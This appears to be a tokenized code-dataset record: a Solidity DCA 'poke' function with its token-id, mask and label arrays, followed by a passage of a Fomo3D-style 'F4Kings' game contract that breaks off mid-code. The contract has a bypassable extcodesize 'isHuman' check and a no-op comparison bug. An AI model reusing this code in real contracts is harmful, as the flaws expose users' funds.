function poke(address _account, uint256 _minFee) public returns(bool) { UserData storage userData = dataOf[_account]; if(userData.next > block.timestamp) { return false; } uint256 intervalsAmount = 1; if(userData.next < block.timestamp) { intervalsAmount += (block.timestamp - userData.next) / userData.interval; } uint256 totalFee = userData.feePerInterval * intervalsAmount; if(_minFee > totalFee) { return false; } IDDAI ddaiContract = IDDAI(ddai); uint256 dcaAmount = userData.amount * intervalsAmount; ddaiContract.setStack(_account, dcaAmount); ddaiContract.distributeStack(_account); if(_account != _msgSender()){ ddaiContract.operatorSend(_account, _msgSender(), totalFee, "", ""); } return true; }
14,072,954
[ 1, 2047, 2097, 486, 4671, 813, 358, 741, 302, 25442, 6991, 23713, 5755, 578, 14036, 353, 4885, 4587, 741, 5083, 2288, 15226, 310, 358, 486, 898, 13166, 2073, 309, 732, 1410, 741, 1898, 2353, 1245, 30143, 3673, 7412, 14036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 293, 3056, 12, 2867, 389, 4631, 16, 2254, 5034, 389, 1154, 14667, 13, 1071, 1135, 12, 6430, 13, 288, 203, 3639, 31109, 2502, 13530, 273, 501, 951, 63, 67, 4631, 15533, 203, 3639, 309, 12, 1355, 751, 18, 4285, 405, 1203, 18, 5508, 13, 288, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 10389, 6275, 273, 404, 31, 203, 3639, 309, 12, 1355, 751, 18, 4285, 411, 1203, 18, 5508, 13, 288, 203, 5411, 10389, 6275, 1011, 261, 2629, 18, 5508, 300, 13530, 18, 4285, 13, 342, 13530, 18, 6624, 31, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 2078, 14667, 273, 13530, 18, 21386, 2173, 4006, 380, 10389, 6275, 31, 203, 203, 3639, 309, 24899, 1154, 14667, 405, 2078, 14667, 13, 288, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 203, 3639, 1599, 9793, 45, 302, 2414, 77, 8924, 273, 1599, 9793, 45, 12, 449, 10658, 1769, 203, 203, 3639, 2254, 5034, 302, 5353, 6275, 273, 13530, 18, 8949, 380, 10389, 6275, 31, 203, 3639, 302, 2414, 77, 8924, 18, 542, 2624, 24899, 4631, 16, 302, 5353, 6275, 1769, 203, 3639, 302, 2414, 77, 8924, 18, 2251, 887, 2624, 24899, 4631, 1769, 203, 203, 3639, 309, 24899, 4631, 480, 389, 3576, 12021, 10756, 95, 203, 5411, 302, 2414, 77, 8924, 18, 9497, 3826, 24899, 4631, 16, 389, 3576, 12021, 9334, 2078, 14667, 16, 23453, 1408, 1769, 203, 3639, 289, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d short only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularShort is F3Devents {} contract F4Kings is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf626967fA13d841fd74D49dEe9bDd0D0dD6C4394); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; address private shareCom = 0x431C4354dB7f2b9aC1d9B2019e925C85C725DA5c; string constant public name = "f4kings"; string constant public symbol = "f4kings"; uint256 private rndExtra_ = 0; // length of the very first ICO uint256 private rndGap_ = 2 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 24 hours; // round timer starts at this uint256 constant private rndInc_ = 20 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be uint256 constant private rndLimit_ = 3; // limit rnd eth purchase //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(22,0); //48% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(32,0); //38% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(52,0); //18% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(42,0); //28% to pot, 18% to aff, 10% to com, 1% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D) potSplit_[0] = F3Ddatasets.PotSplit(42,0); //48% to winner, 0% to next round, 10% to com potSplit_[1] = F3Ddatasets.PotSplit(34,0); //48% to winner, 8% to next round, 10% to com potSplit_[2] = F3Ddatasets.PotSplit(18,0); //48% to winner, 24% to next round, 10% to com potSplit_[3] = F3Ddatasets.PotSplit(26,0); //48% to winner, 16% to next round, 10% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; uint256 _withdrawFee; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; uint256 _p1 = _withdrawFee.mul(65) / 100; uint256 _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) { //10% trade tax _withdrawFee = _eth / 10; _p1 = _withdrawFee.mul(65) / 100; _p2 = _withdrawFee.mul(35) / 100; shareCom.transfer(_p1); admin.transfer(_p2); plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee)); } // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 100000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = 